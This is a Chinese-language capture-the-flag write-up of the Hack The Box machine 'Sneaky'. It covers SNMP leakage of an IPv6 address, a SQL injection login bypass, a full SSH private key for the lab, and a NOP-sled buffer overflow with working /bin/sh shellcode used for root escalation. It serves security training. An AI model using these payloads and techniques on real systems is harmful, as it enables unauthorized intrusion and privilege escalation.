[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升

2025-03-22 33 0

Information Gathering

IP Address Opening Ports
10.10.10.20 TCP:22,80

$ ip='10.10.10.20'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 5d:5d:2a:97:85:a1:20:e2:26:e4:13:54:58:d6:a4:22 (DSA)
|   2048 a2:00:0e:99:0f:d3:ed:b0:19:d4:6b:a8:b1:93:d9:87 (RSA)
|   256 e3:29:c4:cb:87:98:df:99:6f:36:9f:31:50:e3:b9:42 (ECDSA)
|_  256 e6:85:a8:f8:62:67:f7:01:28:a1:aa:00:b5:60:f2:21 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 400 Bad Request
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

snmp

获取网络配置中泄露的ipv6地址,管理员禁用的对ipv4的访问,通常疏忽了ipv6的访问限制。

$ snmpwalk -v2c -c public 10.10.10.20 ipAddressIfIndex.ipv6 | cut -d'"' -f2 | grep 'de:ad' | sed -E 's/(.{2}):(.{2})/\1\2/g'

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图1

dead:beef:0000:0000:0250:56ff:feb9:0752

What is IPV6 && Double colon

示例:2001:0db8:85a3:0000:0000:8a2e:0370:7334

double colon(::) 是一个缩写符号,用于表示连续的零(0)字段

缩写后 2001:0db8:85a3::8a2e:0370:7334

头地址:

地址类型 前缀(开头部分) 描述
全局单播地址(Global Unicast) 2000::/3 用于互联网中的唯一可路由地址,相当于 IPv4 的公网 IP。
链路本地地址(Link-Local) FE80::/10 仅限于本地链路通信,自动配置,不可跨路由。
站点本地地址(Site-Local,已废弃) FEC0::/10 旧的站点本地地址,现在用 ULA (FC00::/7) 替代。
唯一本地地址(Unique Local Address, ULA) FC00::/7 类似于 IPv4 的私有地址(10.0.0.0/8192.168.0.0/16),用于本地网络,不能在公网使用。
回环地址(Loopback) ::1/128 相当于 IPv4 的 127.0.0.1,用于测试本机。
未指定地址(Unspecified Address) ::/128 相当于 IPv4 的 0.0.0.0,用于表示“没有地址”。
多播地址(Multicast) FF00::/8 用于多播通信,相当于 IPv4 的 224.0.0.0/4
IPv4 映射地址(IPv4-Mapped IPv6 Address) ::FFFF:0:0/96 兼容 IPv4,表示 IPv4 地址的 IPv6 版本,例如 ::FFFF:192.168.1.1
6to4 隧道地址(6to4 Tunnel) 2002::/16 IPv6 通过 IPv4 进行隧道传输的地址格式。
Teredo 隧道地址(Teredo Tunnel) 2001::/32 一种 IPv6 穿透 NAT 的隧道机制。
前缀 固定的位数 自由分配的位数 作用
/3 3 位 125 位 IPv6 公网地址范围大
/10 10 位 118 位 只用于本地链路,不可路由
/7 7 位 121 位 ULA 只限于私有网络
/32 32 位 96 位 用于特定地址分配,如 Teredo
/96 96 位 32 位 IPv4 兼容 IPv6 地址
/128 128 位 0 位 单个设备的固定地址(如 ::1

/10地址范围:
fe80:0000:0000:0000:0000:0000:0000:0000到febf:ffff:ffff:ffff:ffff:ffff:ffff:ffff

IPv6

Local host test

Arch:

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图2

fe80::638e:8f07:5bf5:5db0/64

Kali:

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图3

fe80::20c:29ff:fecc:f62e/64

Arch:

$ ping -6 'fe80::20c:29ff:fecc:f62e' -I ens33

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图4

注意!:通过扫描枚举ipv6地址速度是很慢的..在 IPv4 中,常见的子网是 /24(只有 256 个地址),扫描起来很快。
在 IPv6 中,最小的子网通常是 /64,意味着有 18,446,744,073,709,551,616(2⁶⁴)个可能的地址,暴力扫描几乎不可行。

SNMP-IPV6

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图5

SQLI && SSH-IPV6 Bypass

$ feroxbuster --url 'http://10.10.10.20'

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图6

http://10.10.10.20/dev/

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图7

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图8

admin' or 1=1;#

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图9

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvQxBD5yRBGemrZI9F0O13j15wy9Ou8Z5Um2bC0lMdV9ckyU5
Lc4V+rY81lS4cWUx/EsnPrUyECJTtVXG1vayffJISugpon49LLqABZbyQzc4GgBr
3mi0MyfiGRh/Xr4L0+SwYdylkuX72E7rLkkigSt4s/zXp5dJmL2RBZDJf1Qh6Ugb
yDxG2ER49/wbdet8BKZ9EG7krGHgta4mfqrBbZiSBG1ST61VFC+G6v6GJQjC02cn
cb+zfPcTvcP0t63kdEreQbdASYK6/e7Iih/5eBy3i8YoNJd6Wr8/qVtmB+FuxcFj
oOqS9z0+G2keBfFlQzHttLr3mh70tgSA0fMKMwIDAQABAoIBAA23XOUYFAGAz7wa
Nyp/9CsaxMHfpdPD87uCTlSETfLaJ2pZsgtbv4aAQGvAm91GXVkTztYi6W34P6CR
h6rDHXI76PjeXV73z9J1+aHuMMelswFX9Huflyt7AlGV0G/8U/lcx1tiWfUNkLdC
CphCICnFEK3mc3Mqa+GUJ3iC58vAHAVUPIX/cUcblPDdOmxvazpnP4PW1rEpW8cT
OtsoA6quuPRn9O4vxDlaCdMYXfycNg6Uso0stD55tVTHcOz5MXIHh2rRKpl4817a
I0wXr9nY7hr+ZzrN0xy5beZRqEIdaDnQG6qBJFeAOi2d7RSnSU6qH08wOPQnsmcB
JkQxeUkCgYEA3RBR/0MJErfUb0+vJgBCwhfjd0x094mfmovecplIUoiP9Aqh77iz
5Kn4ABSCsfmiYf6kN8hhOzPAieARf5wbYhdjC0cxph7nI8P3Y6P9SrY3iFzQcpHY
ChzLrzkvV4wO+THz+QVLgmX3Yp1lmBYOSFwIirt/MmoSaASbqpwhPSUCgYEA2uym
+jZ9l84gdmLk7Z4LznJcvA54GBk6ESnPmUd8BArcYbla5jdSCNL4vfX3+ZaUsmgu
7Z9lLVVv1SjCdpfFM79SqyxzwmclXuwknC2iHtHKDW5aiUMTG3io23K58VDS0VwC
GR4wYcZF0iH/t4tn02qqOPaRGJAB3BD/B8bRxncCgYBI7hpvITl8EGOoOVyqJ8ne
aK0lbXblN2UNQnmnywP+HomHVH6qLIBEvwJPXHTlrFqzA6Q/tv7E3kT195MuS10J
VnfZf6pUiLtupDcYi0CEBmt5tE0cjxr78xYLf80rj8xcz+sSS3nm0ib0RMMAkr4x
hxNWWZcUFcRuxp5ogcvBdQKBgQDB/AYtGhGJbO1Y2WJOpseBY9aGEDAb8maAhNLd
1/iswE7tDMfdzFEVXpNoB0Z2UxZpS2WhyqZlWBoi/93oJa1on/QJlvbv4GO9y3LZ
LJpFwtDNu+XfUJ7irbS51tuqV1qmhmeZiCWIzZ5ahyPGqHEUZaR1mw2QfTIYpLrG
UkbZGwKBgGMjAQBfLX0tpRCPyDNaLebFEmw4yIhB78ElGv6U1oY5qRE04kjHm1k/
Hu+up36u92YlaT7Yk+fsk/k+IvCPum99pF3QR5SGIkZGIxczy7luxyxqDy3UfG31
rOgybvKIVYntsE6raXfnYsEcvfbaE0BsREpcOGYpsE+i7xCRqdLb
-----END RSA PRIVATE KEY-----

$ ssh -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa -i /tmp/id_rsa thrasivoulos@dead:beef:0000:0000:0250:56ff:feb9:0752

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图10

User.txt

f18b5084af22f6908e2e778569e4682a

Privilege Escalation:NOP sled

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图11

/usr/local/bin/chal

$ scp -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa -i /tmp/id_rsa thrasivoulos@[dead:beef:0000:0000:0250:56ff:feb9:0752]:/usr/local/bin/chal /tmp

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图12

char var_16e[366]; 这个数组的大小是 366 字节,但它可以存储 最多 365 个字符。

在栈上的局部变量通常会按照对齐要求进行布局,比如:

变量可能会被编译器 对齐到 4 或 8 字节的边界,导致实际可用的空间变小。
其他局部变量(例如返回地址、保存的寄存器、其他局部变量)可能紧邻 var_16e,如果溢出就可能覆盖这些关键数据。

Checksec

如果你这里报错six.py异常,点开我的主页有一篇关于修复该异常的一篇博客

$ gdb -q chal

$ gdb-peda$ checksec

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图13

保护机制 状态 作用 您的程序情况
CANARY disabled 栈保护机制,在栈溢出时检测并阻止漏洞利用 已禁用,容易受到 栈溢出攻击
FORTIFY disabled 编译时检查 printfstrcpy等函数,防止格式化字符串攻击 已禁用,可能有格式化字符串漏洞
NX(No eXecute) disabled 让数据段不可执行,防止 shellcode 执行 已禁用,意味着可执行数据,可能存在 ROP攻击风险
PIE(Position Independent Executable) disabled 使程序地址随机化,提高 ASLR 保护 已禁用,程序加载地址固定,易受 重定位攻击
RELRO(Relocation Read-Only) Partial 保护 GOT(Global Offset Table),防止 GOT 劫持 部分启用,GOT 可能可写,可能存在 GOT 劫持风险

Buffer BOF

(Arch) gdb-peda$ pattern create 1024

thrasivoulos@Sneaky:~$ gdb -q /usr/local/bin/chal

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图14

(Arch) gdb-peda$ pattern offset 0x25415525

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图15

offset:362

shellcode=>https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit

Confirm NOP Range

根据堆栈,选择合适的SHELLCODE执行地址(设置EIP跳转后的NOP滑行起点):

thrasivoulos@Sneaky(gdb) > r $(python2 -c 'print "A"*362')

thrasivoulos@Sneaky(gdb) > x/100x $esp

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图16

选择正确的NOP滑梯:

1.在0xbffff520处的数据是否可执行(X)

实际上数一下也知道写入的应该是>362字节,这里也只有76字节,所以排除

thrasivoulos@Sneaky(gdb) > r $(python2 -c 'print "\x90"*362+"\x20\xf5\xff\xbf"')

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图17

  1. 在0xbffff750处的数据是否可执行(√)

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图18

thrasivoulos@Sneaky(gdb) > r $(python2 -c 'print "\x90"*362+"\x50\xf7\xff\xbf"')

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图19

我们的赛道在:0xbffff740-0xbffff8af

NOP sled exploit

NOP=\x90

SHELLCODE=\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80

EIP=0xbffff740-0xbffff8af

NOP范围:NOP_NUM = 362 - len(SHELLCODE) = 334

比较稳定的在0xbffff750

thrasivoulos@Sneaky(gdb) > r $(python2 -c 'print "\x90"*334 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x50\xf7\xff\xbf"')

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图20

thrasivoulos@Sneaky:/tmp$ /usr/local/bin/chal $(python2 -c 'print "\x90"*334 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x50\xf7\xff\xbf"')

[Meachines] [Medium] Sneaky snmp+SSH-IPV6+BOF-NOP-Sled权限提升插图21

Root.txt

2d21ee153f5d1e517dcfc197a58a2e37


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

大模型安全警报:你的AI客服正在泄露客户银行卡号
HTB-Devvortex-WriteUp
WEB漏洞——越权
新型SectopRAT木马利用Cloudflare验证系统攻击Windows用户
医疗行业网络安全现状令人担忧
2025年全球网络安全支出预计增长12.2%

发布评论